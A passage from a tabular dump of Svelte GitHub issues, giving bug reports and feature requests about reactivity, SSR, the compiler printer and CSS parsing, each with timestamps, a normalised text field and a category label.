	setup(upd);
	return cleanup;
});

let source = {
	get current() {
		subscribe();
		return 1;
	},
};

let derived = $derived(source.current);
```
If we use a reactive value created with `createSubscriber` - reading `source.current` in some non-reactive context won't trigger subscription (as expected) but reading `derived` will (because derived body is considered a tracking context). 

### Reproduction

https://svelte.dev/playground/b7b27d1892cd4921b37e0c9116506f51?version=5.55.7

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.3.1
    CPU: (8) arm64 Apple M3
    Memory: 101.41 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 25.6.1 - /Users/evperminov/.nvm/versions/node/v25.6.1/bin/node
    npm: 11.9.0 - /Users/evperminov/.nvm/versions/node/v25.6.1/bin/npm
    bun: 1.3.12 - /Users/evperminov/.bun/bin/bun
  Browsers:
    Chrome: 148.0.7778.168
    Safari: 26.3.1
  npmPackages:
    svelte: ^5.55.5 => 5.55.7
```

### Severity

blocking an upgrade",,2026-05-15 11:26:56+00:00,2026-05-15 11:54:25+00:00,25,nan,0.0191,createsubscriber gets called outside of reactive context access describe the bug if we use a reactive value created with reading in some non reactive context won t trigger subscription as expected but reading will because derived body is considered a tracking context reproduction logs system info severity blocking an upgrade,others,-0.2144
sveltejs/svelte,4450674360,Stale $derived value in $effect cleanup,"### Describe the bug

Some weird combination of `$derived` and `$effect`  produces stale derived values on effect cleanup

Below I've provided as minimal reproduction as I could conjure - I've discovered it while implementing an abstraction for async derived state in our app (we're not using experimental await in derived syntax) where we rely on `createSubscriber` to setup an effect watching a derived promise to set the state on promise resolution. `createSubscriber` seems to be the only way in user land to have an effect running inside a derived.

Bug was discovered on version `5.47.1` but is reproducible on the latest version as well

### Reproduction

https://svelte.dev/playground/21cd2acb65a6451ca754a6c9326ba1df?version=latest
When clicking update - it will display an object with fields state and derived which contain different values despite being snapshots taken at the same time during cleanup.

or with vitest
```ts
import { tick } from ""svelte"";
import { expect, test, vi } from ""vitest"";

test(""reproduces a derived tear"", async () => {
	let source = $state(""a"");
	let derived = $derived(source);
	let tear: unknown;

	const unsub = $effect.root(() => {
		$effect(() => {
			const cleanup = $effect.root(() => {
				$effect(() => {
					derived;
				});

				return () => {
					tear = { source, derived };
				};
			});

			return () => {
				queueMicrotask(cleanup); // analogous to createSubscriber cleanup
			};
		});
	});

	await tick();
	queueMicrotask(unsub);

	source = ... [TRUNCATED]",,2026-05-15 02:09:48+00:00,2026-05-19 21:05:43+00:00,5,nan,4.7888,stale derived value in effect cleanup describe the bug some weird combination of and produces stale derived values on effect cleanup below i ve provided as as i could conjure i ve discovered it while implementing an abstraction for async derived state in our app we re not using experimental await in derived syntax where we rely on to setup an effect watching a derived promise to set the state on promise resolution seems to be the only way in user land to have an effect running inside a derived bug was discovered on version but is reproducible on the latest version as well reproduction when clicking update it will display an object with fields state and derived which contain different values despite being snapshots taken at the same time during cleanup or with vitest ts import tick from svelte import expect test vi from vitest test reproduces a derived tear async let source state a let derived derived source let tear unknown const unsub effect root effect const cleanup effect root effect derived return tear source derived return queuemicrotask cleanup analogous to createsubscriber cleanup await tick queuemicrotask unsub source truncated,others,0.7276
sveltejs/svelte,4449158603,"""Batch has scheduled roots"" invariant_violation error after updating to 5.55.6","### Describe the bug

Hello! I was noticing some issues with a page on my SvelteKit app that I believe was caused by using the experimental async / remote functions (https://github.com/sveltejs/svelte/issues/18097). After updating, the issue has worsened and the page is now completely broken, giving `fn is not a function` and then `Svelte error: invariant_violation` in the browser console.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-biy9yopz?description=The%20default%20SvelteKit%20template,%20generated%20with%20create-svelte&title=SvelteKit%20Default%20Template

Original project: https://github.com/RestartB/titanium-dashboard

### Logs

```shell
[Error] TypeError: fn is not a function. (In 'fn()', 'fn' is null)

	in <unknown>
	in ToggledContent.svelte
	in +page.svelte
	in +layout.svelte
	in +layout.svelte
	in root.svelte
	in undefined

	invoke_error_boundary (chunk-CJFVPO5Z.js:772)
	handle_error (chunk-CJFVPO5Z.js:752)
	#run (chunk-CJFVPO5Z.js:1384)
	(anonymous function) (chunk-CJFVPO5Z.js:1299)
	run_all (chunk-CJFVPO5Z.js:45)
	run_micro_tasks (chunk-CJFVPO5Z.js:718)
	(anonymous function) (chunk-CJFVPO5Z.js:724)

[Error] Svelte error: invariant_violation
An invariant violation occurred, meaning Svelte's internal assumptions were flawed. This is a bug in Svelte, not your app — please open an issue at https://github.com/sveltejs/svelte, citing the following message: ""Batch has scheduled roots""
https://svelte.dev/e/invariant_violation
	invariant_... [TRUNCATED]",,2026-05-14 20:46:43+00:00,2026-06-01 20:50:28+00:00,20,nan,18.0026,batch has scheduled roots invariant violation error after updating to describe the bug hello i was noticing some issues with a page on my sveltekit app that i believe was caused by using the experimental async remote functions after updating the issue has worsened and the page is now completely broken giving and then in the browser console reproduction original project logs shell error typeerror fn is not a function in fn fn is null in in toggledcontent svelte in page svelte in layout svelte in layout svelte in root svelte in undefined invoke error boundary chunk cjfvpo z js handle error chunk cjfvpo z js run chunk cjfvpo z js anonymous function chunk cjfvpo z js run all chunk cjfvpo z js run micro tasks chunk cjfvpo z js anonymous function chunk cjfvpo z js error svelte error invariant violation an invariant violation occurred meaning svelte s internal assumptions were flawed this is a bug in svelte not your app please open an issue at citing the following message batch has scheduled roots invariant truncated,bug,-0.9881
sveltejs/svelte,4437043255,Printer prints type imports with as incorrectly,"### Describe the bug

When an import is both a type import and has a renaming in it, the printer prints it back wrong.

### Reproduction

```javascript
import { print, parse } from ""svelte/compiler""; // 5.55.5

const code = `<script lang=""ts"">import { foo, type bar as baz } from ""bof"";</script>`;

const parsed = parse(code, { filename: ""foobar.svelte"", modern: true });

const printed = print(parsed).code;

console.log(printed);
/*
<script lang=""ts"">
        import { foo, bar as type baz } from ""bof"";
</script>
*/
```

""bar as type baz"" is invalid syntax, and it should be printed as ""type bar as baz"".

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.4.1
    CPU: (16) arm64 Apple M3 Max
    Memory: 90.56 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.12.0 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/node
    Yarn: 1.22.22 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/yarn
    npm: 11.6.2 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/npm
    pnpm: 11.1.1 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/pnpm
  Browsers:
    Safari: 26.4
  npmPackages:
    svelte: 5.55.5 => 5.55.5
```

### Severity

annoyance",,2026-05-13 10:25:30+00:00,2026-05-21 20:02:46+00:00,1,nan,8.4009,printer prints type imports with as incorrectly describe the bug when an import is both a type import and has a renaming in it the printer prints it back wrong reproduction bar as type baz is invalid syntax and it should be printed as type bar as baz logs system info severity annoyance,others,-0.8126
sveltejs/svelte,4432471538,Printer cannot print css keyframes with percent stops correctly,"### Describe the bug

When asked to print `@keyframes`, the printer adds extra `%` that invalidate the CSS.

### Reproduction

```js
import { print, parse } from ""svelte/compiler""; // 5.55.5

const code = `<style>@keyframes foo { 0% { left: 0px; } 100% { left: 100px; } }</style>`;

const parsed = parse(code, { filename: ""foobar.svelte"", modern: true });

const printed = print(parsed).code;

console.log(printed);

/*
<style>
        @keyframes foo {
                0%% {
                        left: 0px;
                }
                100%% {
                        left: 100px;
                }
        }
</style>
*/
```

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.4.1
    CPU: (16) arm64 Apple M3 Max
    Memory: 93.39 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.12.0 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/node
    Yarn: 1.22.22 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/yarn
    npm: 11.6.2 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/npm
    pnpm: 11.1.1 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/pnpm
  Browsers:
    Safari: 26.4
  npmPackages:
    svelte: 5.55.5 => 5.55.5
```

### Severity

annoyance",,2026-05-12 20:39:05+00:00,2026-05-18 15:54:34+00:00,0,nan,5.8024,printer cannot print css keyframes with percent stops correctly describe the bug when asked to print the printer adds extra that invalidate the css reproduction logs system info severity annoyance,others,-0.7096
sveltejs/svelte,4432462709,Printer cannot print svelte:body,"### Describe the bug

When the compiler printer is asked to print a `svelte:body` tag, it crashes.

### Reproduction

```js
import { print, parse } from ""svelte/compiler""; // 5.55.5

const code = `<svelte:body />`;

const parsed = parse(code, { filename: ""foobar.svelte"", modern: true });

const printed = print(parsed).code; // crash: ""Error: Not implemented: SvelteBody""
```

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.4.1
    CPU: (16) arm64 Apple M3 Max
    Memory: 93.39 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.12.0 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/node
    Yarn: 1.22.22 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/yarn
    npm: 11.6.2 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/npm
    pnpm: 11.1.1 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/pnpm
  Browsers:
    Safari: 26.4
  npmPackages:
    svelte: 5.55.5 => 5.55.5
```

### Severity

annoyance",,2026-05-12 20:37:29+00:00,2026-05-18 15:54:33+00:00,0,nan,5.8035,printer cannot print svelte body describe the bug when the compiler printer is asked to print a tag it crashes reproduction logs system info severity annoyance,others,-0.6486
sveltejs/svelte,4412213701,Document the minimum supported browser version,"### Describe the problem

Svelte currently does not appear to document a clear browser support baseline.

This became relevant after we were asked whether Svelte works in IE11. Obviously, in 2026, that is an unusual and arguably outdated requirement. However, the question came up in the context of a government-related inquiry, so we need to be able to provide a serious and defensible answer.

At the moment, it is not immediately clear from the documentation which browsers Svelte officially supports, or whether Svelte relies on browser APIs that require certain minimum browser versions.

Take these questions for example:

- Does Svelte support IE11 at all?
- Is there a minimum supported Chrome, Firefox, Safari, or Edge version?
- Are there known runtime APIs used by Svelte that require modern browsers?
- Is browser support entirely delegated to the user’s build tooling and polyfill strategy?
- Does this differ between Svelte itself and SvelteKit?

I tried searching answers for these in the documentation by searching for terms such as “compatibility”, “browser”, and “requirements”, but I could not find a clear answer or baseline support statement.

### Describe the proposed solution

Add a dedicated Browser Support or Compatibility section to the Svelte documentation.

This section does not necessarily need to provide an exhaustive browser matrix, but it should give users a clear baseline answer. For example, it could explain:

- Whether Svelte's generated runtime code official... [TRUNCATED]",,2026-05-09 10:39:51+00:00,2026-05-28 18:19:58+00:00,2,nan,19.3195,document the minimum supported describe the problem svelte currently does not appear to document a clear browser support baseline this became relevant after we were asked whether svelte works in ie obviously in that is an unusual and arguably outdated requirement however the question came up in the context of a government related inquiry so we need to be able to provide a serious and defensible answer at the moment it is not immediately clear from the documentation which browsers svelte officially supports or whether svelte relies on browser apis that require certain minimum s take these questions for example does svelte support ie at all is there a minimum supported chrome firefox safari or edge version are there known runtime apis used by svelte that require modern browsers is browser support entirely delegated to the user s build tooling and polyfill strategy does this differ between svelte itself and sveltekit i tried searching answers for these in the documentation by searching for terms such as compatibility browser and requirements but i could not find a clear answer or baseline support statement describe the proposed solution add a dedicated browser support or compatibility section to the svelte documentation this section does not necessarily need to provide an exhaustive browser matrix but it should give users a clear baseline answer for example it could explain whether svelte s generated runtime code official truncated,documentation,0.9813
sveltejs/svelte,4406552751,SSR compiler does not unwrap $derived thunk for dynamic components with member expressions,"### Describe the bug

In SSR mode, when a dynamic component is rendered via a member expression (<a.b.c />) where a is a $derived, the compiler outputs a.b.c directly instead of a().b.c. Since server-side $derived returns a thunk (function) after [#17674](https://github.com/sveltejs/svelte/pull/17674), a.b is undefined and accessing a.b.c throws TypeError: Cannot read properties of undefined (reading 'c').

The client compiler handles this correctly by emitting $.get(a).b.c.

**Workaround**

Capture each access in its own $derived:

```
<script>
  const platformIcons = $derived(icons);
  const Icon = $derived(platformIcons.currency.Icon);
</script>
<Icon />
```

That generates $.derived(() => platformIcons().currency.Icon), which works.

### Reproduction

https://svelte.dev/playground/2fa2e050cfa44e94a3141dca53ce4ac2?version=latest
```
<script>
  let icons = $state({ currency: { Icon: () => 'x' } });
  const platformIcons = $derived(icons);
</script>

<platformIcons.currency.Icon />
```

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.19 Fedora Linux 43 (KDE Plasma Desktop Edition)
    CPU: (12) x64 AMD Ryzen 5 7500F 6-Core Processor
    Memory: 14.92 GB / 31.05 GB
    Container: Yes
    Shell: 5.9 - /usr/bin/zsh
  Binaries:
    Node: 24.14.0 - /home/envyvox/.local/share/pnpm/node
    Yarn: 1.22.22 - /usr/local/bin/yarn
    npm: 11.9.0 - /home/envyvox/.local/share/pnpm/npm
    pnpm: 10.32.1 - /home/envyvox/.local/share/pnpm/pnpm
  Browsers:
    Fire... [TRUNCATED]",,2026-05-08 12:56:52+00:00,2026-05-08 16:08:28+00:00,0,nan,0.1331,ssr compiler does not unwrap derived thunk for dynamic components with member expressions describe the bug in ssr mode when a dynamic component is rendered via a member expression where a is a derived the compiler outputs a b c directly instead of a b c since server side derived returns a thunk function after a b is undefined and accessing a b c throws typeerror cannot read properties of undefined reading c the client compiler handles this correctly by emitting get a b c workaround capture each access in its own derived that generates derived platformicons currency icon which works reproduction logs system info shell system os linux fedora linux kde plasma desktop edition cpu x amd ryzen f core processor memory gb gb container yes shell usr bin zsh binaries node home envyvox local share pnpm node yarn usr local bin yarn npm home envyvox local share pnpm npm pnpm home envyvox local share pnpm pnpm browsers fire truncated,others,0.7964
sveltejs/svelte,4401060740,"Can't access property ""is_rendered"" of null","### Describe the bug

Intermittently happens in both prod and dev when navigating from one page to another.  The navigation will indefinitely osculate between the old and new page until the browser is manually refreshed.  Below is the error logged in the console.  This error is logged on every page navigation osculation.

Uncaught (in promise) TypeError: can't access property ""is_rendered"" of null
    async_derived deriveds.js:182
    update_reaction runtime.js:259
    update_effect runtime.js:468
    create_effect effects.js:138
    async_effect effects.js:368
    async_derived deriveds.js:129
    run3 async.js:81
    run3 async.js:81
    flatten async.js:90
    promise callback*flatten async.js:88


### Reproduction

It intermittently happens, and I have no idea why.  I'm not looking to fix the underlying issue, just a better error message so I can fix my code would be great

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 11 10.0.26200
    CPU: (16) x64 Intel(R) Core(TM) i9-9900K CPU @ 3.60GHz
    Memory: 7.08 GB / 31.91 GB
  Binaries:
    Node: 22.22.1 - C:\nvm4w\nodejs\node.EXE
    npm: 10.9.4 - C:\nvm4w\nodejs\npm.CMD
    pnpm: 10.11.0 - C:\Users\tyler\AppData\Roaming\npm\pnpm.CMD
    bun: 1.3.9 - C:\Users\tyler\.bun\bin\bun.EXE
  Browsers:
    Chrome: 147.0.7727.138
    Edge: Chromium (140.0.3485.94)
    Internet Explorer: 11.0.26100.8115
```

### Severity

annoyance",,2026-05-07 18:25:55+00:00,2026-05-22 15:48:33+00:00,4,nan,14.8907,can t access property is rendered of null describe the bug intermittently happens in both prod and dev when navigating from one page to another the navigation will indefinitely osculate between the old and new page until the browser is manually refreshed below is the error logged in the console this error is logged on every page navigation osculation uncaught in promise typeerror can t access property is rendered of null async derived deriveds js update reaction runtime js update effect runtime js create effect effects js async effect effects js async derived deriveds js run async js run async js flatten async js promise callback flatten async js reproduction it intermittently happens and i have no idea why i m not looking to fix the underlying issue just a better error message so i can fix my code would be great logs system info severity annoyance,others,-0.7202
sveltejs/svelte,4366388341,Element with two awaited properties throws an error during SSR,"### Describe the bug

This example crashes during SSR but works fine during CSR:

```svelte
<script>
  const user = $derived(Promise.resolve({ name: 'test', image: '' }))
</script>

<img
  alt={(await user).name}
  src={(await user).image}
/>
```

### Reproduction

[playground](https://svelte.dev/playground/hello-world?version=5.55.5#H4sIAAAAAAAAA22OwWrDMAyGX8WIQRMo6d2khd523H3ZwY3VInDsYKnJSsi712oGg7Hj__3SJy0Q3YBg4R1DSGZOOXhToSdBX8MerhSQwX4uII9R5xQU_rN1HseGJwyi7OIY_-N9ioJRigZa7jONcupiJwWzmDtjNkfz5jHThL76yGkgxiYjpzBhtRid7UTF1uwEWXb7DdHgbsq2vNZ1F9vD74HY0nDTxgU5LpWbHW3n6kZlq1ac-z_VS1q6Q1GU3wW_BazkO65fJTkKM0UP9uoC4_oESUEfQT4BAAA) - only repros when run locally

### Logs

```shell
TypeError: Cannot read properties of null (reading 'function')
    at Module.push_element (node_modules/.pnpm/svelte@5.55.5/node_modules/svelte/src/internal/server/dev.js:59:25)
    at eval (src/lib/playground/App.svelte:24:27)
```

### System Info

```shell
System:
    OS: Linux 6.19 Fedora Linux 43 (Forty Three)
    CPU: (32) x64 AMD Ryzen 9 5950X 16-Core Processor
    Memory: 39.73 GB / 62.69 GB
    Container: Yes
    Shell: 4.2.0 - /bin/fish
  Binaries:
    Node: 22.21.1 - /home/otto/.local/share/pnpm/node
    npm: 10.9.4 - /home/otto/.local/share/pnpm/npm
    pnpm: 10.25.0 - /home/otto/.local/share/pnpm/pnpm
    bun: 1.3.9 - /home/otto/.bun/bin/bun
  Browsers:
    Firefox: 149.0.2
    Firefox Developer Edition: 149.0.2
  npmPackages:
    @sveltejs/adapter-auto: ^7.0.1 => 7.0.1 
    @sveltejs/kit: ^2.... [TRUNCATED]",,2026-05-01 19:56:47+00:00,2026-05-05 18:48:51+00:00,1,nan,3.9528,element with two awaited properties throws an error during ssr describe the bug this example crashes during ssr but works fine during csr reproduction playground only repros when run locally logs system info shell system os linux fedora linux forty three cpu x amd ryzen x core processor memory gb gb container yes shell bin fish binaries node home otto local share pnpm node npm home otto local share pnpm npm pnpm home otto local share pnpm pnpm bun home otto bun bin bun browsers firefox firefox developer edition npmpackages sveltejs adapter auto sveltejs kit truncated,bug,0.8779
sveltejs/svelte,4365180082,Add possibility to set svelte:boundary `pending` prop to `null`,"### Describe the problem

Quite common navigation pattern this days: non-blocking on client and blocking on server. To achieve this here's [Rich suggested example](https://github.com/sveltejs/kit/discussions/13897#discussioncomment-16775452):

```svelte
{#snippet pending()}
  <div class=""skeleton"">...</div>
{/snippet}

<svelte:boundary pending={browser ? pending : null}>
  <div class=""content"">...</div>
</svelte:boundary>
```

This will result in a warning due to `pending` type - `Snippet` or `undefined`.

This works but doesn't look as *nice*:

```svelte
<svelte:boundary pending={browser ? pending : undefined}>
  <div class=""content"">...</div>
</svelte:boundary>
```

Additionally it also gives eslint `no-undefined` error for me.

### Describe the proposed solution

Would be awesome to be able to pass `null` to `pending` prop, working same as passing `undefined`:

```svelte
<svelte:boundary pending={null}>...</svelte:boundary>
```

### Importance

would make my life easier",,2026-05-01 15:30:27+00:00,2026-05-12 22:25:12+00:00,1,nan,11.288,add possibility to set svelte boundary prop to describe the problem quite common navigation pattern this days non blocking on client and blocking on server to achieve this here s rich suggested example this will result in a warning due to type or this works but doesn t look as nice additionally it also gives eslint error for me describe the proposed solution would be awesome to be able to pass to prop working same as passing importance would make my life easier,others,0.9246
sveltejs/svelte,4352042632,$effect.pending() bug with async svelte,"### Describe the bug

Hi all,

I've spent quite some time debugging this issue to find the root source. But it seems that if you utilize an $effect.pending() clause with async Svelte, it will result in state not updating under certain conditions.

This also only happens in **production**, so not when using `npm run dev`.



### Reproduction

Here is the link to a repo which should showcase the issue:
https://github.com/floteslof/svelte-effect-pending-bug

To reproduce the issue, you must execute these steps:
1. Run `npm run build`
2. Run `npm run preview`
3. Navigate to `http://localhost:4173`
4. Click on the first button with `OPEN PANEL PANEL_1`. Make sure it looks like this: 

<img width=""357"" height=""162"" alt=""Image"" src=""https://github.com/user-attachments/assets/a343153d-c7b2-4282-9448-103cbeb6aee1"" />

5. Click on the second button with `OPEN PANEL PANEL_2`. You should notice that the label inside the button still shows `aside.activePanel.id: PANEL_1`, while text below shows `aside.activePanel.id: PANEL_2` correctly. For some reason, the state INSIDE the {#each} is not updated correctly even though it uses the same variable.

<img width=""367"" height=""177"" alt=""Image"" src=""https://github.com/user-attachments/assets/bd258147-d1ca-4267-9e26-9d498da5098e"" />

This is only one example of what may happen. I also encountered issues inside the AsidePanel component in my real code.

The interesting part is:
1. this only happens in production and 
2. if you remove this code from... [TRUNCATED]",,2026-04-29 16:17:22+00:00,2026-05-12 09:21:18+00:00,1,nan,12.7111,effect pending bug with async svelte describe the bug hi all i ve spent quite some time debugging this issue to find the root source but it seems that if you utilize an effect pending clause with async svelte it will result in state not updating under certain conditions this also only happens in production so not when using reproduction here is the link to a repo which should showcase the issue to reproduce the issue you must execute these steps run run navigate to click on the first button with make sure it looks like this click on the second button with you should notice that the label inside the button still shows while text below shows correctly for some reason the state inside the each is not updated correctly even though it uses the same variable this is only one example of what may happen i also encountered issues inside the asidepanel component in my real code the interesting part is this only happens in production and if you remove this code from truncated,bug,0.6735
sveltejs/svelte,4350054789,"@const inside #if block reads stale value, caused by $inspect in child component.","### Describe the bug

I've run into this a few times now. When using {@const} inside an {#if} block, the const value sometimes doesn't seem to respect the condition, or gets updated out of order relative to the check. The error only occurs when the value is being inspected using `$inspect` in a child component.

### Reproduction

In the playground, toggling data.result throws: TypeError: Cannot read properties of undefined (reading 'items') ...even though the {#if data.result} guard should make this type-safe.

[Playground](https://svelte.dev/playground/bda582387f424db190fa30d51c5334e0?version=5.55.5)

### Logs

```shell
TypeError
TypeError: Cannot read properties of undefined (reading 'items')
    at eval (playground:output:5931:58)
    at update_reaction (playground:output:4478:17)
    at execute_derived (playground:output:2777:13)
    at update_derived (playground:output:2793:15)
    at is_dirty (playground:output:4394:6)
    at flush_eager_effects (playground:output:3061:8)
    at internal_set (playground:output:3044:5)
    at set (playground:output:2958:10)
    at HTMLButtonElement.toggle (playground:output:5915:4)
    at HTMLBodyElement.handle_event_propagation (playground:output:5113:17)
```

### System Info

```shell
System:
    OS: macOS 15.2
    CPU: (8) arm64 Apple M1
    Memory: 244.75 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.17.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /opt/homebrew/bin/yarn
    npm: 10.9.2 - /usr/local/bin/npm
    pnpm:... [TRUNCATED]",,2026-04-29 11:14:29+00:00,2026-04-30 09:46:00+00:00,2,nan,0.9386,const inside if block reads stale value caused by inspect in child component describe the bug i ve run into this a few times now when using const inside an if block the const value sometimes doesn t seem to respect the condition or gets updated out of order relative to the check the error only occurs when the value is being inspected using in a child component reproduction in the playground toggling data result throws typeerror cannot read properties of undefined reading items even though the if data result guard should make this type safe playground logs system info shell system os macos cpu arm apple m memory mb gb shell bin zsh binaries node usr local bin node yarn opt homebrew bin yarn npm usr local bin npm pnpm truncated,others,0.1027
sveltejs/svelte,4332439941,Reactive `bind:this` for components in `{#each}` has unexpected behavior,"### Describe the bug

Using a reactive registry/object to bind refs to components rendered in an `{#each}` doesn't always work as expected. In the specific case captured in the reproduction, Svelte sets refs for existing components in the registry to `null` after the keyed `{#each}` block updates, even though the components aren't destroyed.

Hopefully the reproduction makes the exact issue clearer, because this is a little hard to describe. The reproduction is a bit contrived, but it does capture my original use case.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.55.5#H4sIAAAAAAAAE4VU226jMBD9lZE3D6BNoX3YFxZSVfsH0b6VSHGwSawaG9mTpBHi31e2IYFsL0-guZ45c8YdUbThJCNrTisUJw47oViGB2FBKOh-cFodethJXb2RJamF5JZkrx3BS-vSnIEsxyIvbZvYE5fobDtq-Uf2SivkCi3JSG4rI1pclapE0bTaIHQoqrceaqMbKElIKslvFzGJWuvzGJKka31OpoGqRMkR1LGxUMDCIkUevW5iX6TSyiIYffY-xo04cRa52KShbaSgWEHUCZaBWoKDn8HWdVt0qt_2cXxXZc3rSZOujwcA1F5UBfVRVSi0AsrYWp-jGDo_yJAvGBQQelOMHp5ieH6Gxxh-wlMYGL2vPdpDJFg82OiZCgRHUzSaBiCvgm2ek0reXH1Ac8WBRuz33Dgsgl3RfJe-EMq2vMJoCHTOPL3tTuVMnKCS1NqiJI7bkvidBvkEtql1X3A1EsHiPrTOHbeO5qJzDvfX3yTojR5ayNr0kIbCqdel-531dtoyWo79S8x3R0StQCs_V9GFTfSrF8YcnjwNAUP494A_KBnFTjQTaseM1d9gg9ts9_0mc6RMnFaO2PAtVW7xIrmPTDyiYV1M2FbSSwa15O-DAtzvAxOG-z1nUGl5bNSoGCn26kEgb2wGFqnBwbGnbQaPyS_Dm-m-k5HGrzp-kJunI2KyJMjfkWRojrxffvJc3A53_lzM7J88F-7CuyCXAhat0a2N4sn1B5rXvB5s_N0_HNdLGGQ-TngN__p-DlQxyf_Mc6nkBqOtt3LmXgoHaxtPaJmfih_gPxlNas9O4AqtX3X3GhrFMud7syRIhTwLxUhWU2l5_w-8NFqY6AUAAA

To reproduce the problem:

1. Click... [TRUNCATED]",,2026-04-27 00:44:49+00:00,2026-04-29 17:45:56+00:00,0,nan,2.7091,reactive for components in has un describe the bug using a reactive registry object to bind refs to components rendered in an doesn t always work as expected in the specific case captured in the reproduction svelte sets refs for existing components in the registry to after the keyed block updates even though the components aren t destroyed hopefully the reproduction makes the exact issue clearer because this is a little hard to describe the reproduction is a bit contrived but it does capture my original use case reproduction to reproduce the problem click truncated,others,-0.6601
sveltejs/svelte,4322796389,"5.55.3: $derived first-read in out: transition returns UNINITIALIZED, crashes outro (now with REPL/Playground link)","### Describe the bug

[following is created by Opus 4.7, hope that's fine, feel free to remove and/or request more info]

  After upgrading from 5.55.2 to 5.55.3, a document-level click handler that calls store.set([]) no longer clears items rendered by a sibling {#each $store as item} block. The  store write executes (verified by store.subscribe logging and by later reads), but the {#each} doesn't re-render, so the previously rendered DOM nodes stay visible.

  Identical code is fine on 5.55.2, broken on 5.55.3, nothing else changed.

  Bisect

  5.25.8 ✓ → 5.40.0 ✓ → 5.47.0 ✓ → 5.51.0 ✓ → 5.53.0 ✓ → 5.54.0 ✓ → 5.55.0 ✓ → 5.55.2 ✓ → 5.55.3 ✗ → 5.55.4 ✗ → 5.55.5 ✗

  Candidate from the 5.55.3 notes: fix: freeze deriveds once their containing effects are destroyed (#17921). Unconfirmed.

  Abstract pattern
```svelte
  // store.ts
  import { writable } from 'svelte/store'
  export const items = writable<string[]>([])

  <!-- Renderer.svelte -->
  <script lang=""ts"">
    import { items } from './store'
  </script>
  {#each $items as item}
    <div class=""item-marker"">{item}</div>
  {/each}

  <!-- Listener.svelte -->
  <script lang=""ts"">
    import { onMount } from 'svelte'
    import { items } from './store'

    onMount(() => {
      document.addEventListener('click', (event) => {
        const el = event.target as Element
        if (!el.closest('.item-marker')) {
          items.set([])   // executes on 5.55.3, but {#each} does not update
        }
      })
    })
  </script>... [TRUNCATED]",,2026-04-24 12:10:33+00:00,2026-05-18 15:36:43+00:00,7,nan,24.1432,derived first read in out transition returns uninitialized crashes outro now with repl playground link describe the bug following is created by opus hope that s fine feel free to remove and or request more info after upgrading from to a document level click handler that calls store set no longer clears items rendered by a sibling each store as item block the store write executes verified by store subscribe logging and by later reads but the each doesn t re render so the previously rendered dom nodes stay visible identical code is fine on broken on nothing else changed bisect candidate from the notes fix freeze deriveds once their containing effects are destroyed unconfirmed abstract pattern svelte store ts import writable from svelte store export const items writable import items from store each items as item item each import onmount from svelte import items from store onmount document addeventlistener click event const el event target as element if el closest item marker items set executes on but each does not update truncated,bug,-0.5927
sveltejs/svelte,4321726173,`{@debug}` of an awaited expression yields an error,"### Describe the bug

If you pass an awaited expression to a `{@debug ...}` statement, it will error.

I found the bug while investigating a regression in our app introduced in 5.55.3 (unrelated to this issue - still trying to reproduce).

Related: #18024

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.55.5#H4sIAAAAAAAAA23MsQrCMBSF4VcJZ1IougcV3RzdjcOtuUowJiX3tlVK312quIjrx_nPgER3hsWeY8ymzyV6M2MflP0cFS4hssAeB-izmXYToPpWu6ZZSMdRJ6tJ-J-fc1JOKrBYfdDWuU2eynPjktNhe85J1HhSMmtDPQU1h5LvQXhRWHLseObQ53ITh_n4aTzX7fXdjC6tlr_HqKD8UFgtLY-nCkoh9iF52AtF4fEFqqBaifoAAAA)

```svelte
<svelte:boundary>
	{@const data = await Promise.resolve(""works"")}
	{@debug data}
</svelte:boundary>
```

### Logs

```shell

```

### System Info

```shell
.
```

### Severity

annoyance",,2026-04-24 08:43:28+00:00,2026-04-29 18:50:13+00:00,1,nan,5.4214,of an awaited expression yields an error describe the bug if you pass an awaited expression to a statement it will error i found the bug while investigating a regression in our app introduced in unrelated to this issue still trying to reproduce related reproduction repl logs system info severity annoyance,bug,-0.926
sveltejs/svelte,4316059181,Svelte CSS parser fails on apostrophe in CSS block comment with Unexpected end of input,"### Describe the bug

In a `.svelte` component `<style>` block, a CSS block comment containing an apostrophe (`'`) can break Svelte’s CSS parsing and produce:

`Unexpected end of input`

The error is reported at the end of the style block (`</style>`), even though CSS braces/parens are balanced.

This is **not** a general comment issue: single-line and multi-line CSS comments parse fine unless they include this apostrophe case.

### Expected behavior

Apostrophes inside CSS block comments should be treated as plain comment text and never affect parsing.

### Actual behavior

Svelte reports:

`Unexpected end of input`

at the end of the `<style>` block.



### Reproduction

### Minimal reproduction

```svelte
<style>
	.foo {
		left: min(
			calc(1px),
			/* across rows (so the marker ends at row 1's right edge). Disabled */
			calc(2px)
		);
	}
</style>
```

If I change `1's` to `1s` (remove apostrophe), parsing succeeds.

### System Info

```shell
- Svelte: `5.53.12`
- `svelte-check`: `4.4.5`
- `@sveltejs/kit`: `2.55.0`
- Node: `v22.17.1`
- npm: `11.6.2`
- OS: macOS (Darwin `25.4.0`)

```

### Additional context

- Both single-line and multi-line CSS comments work in this file.
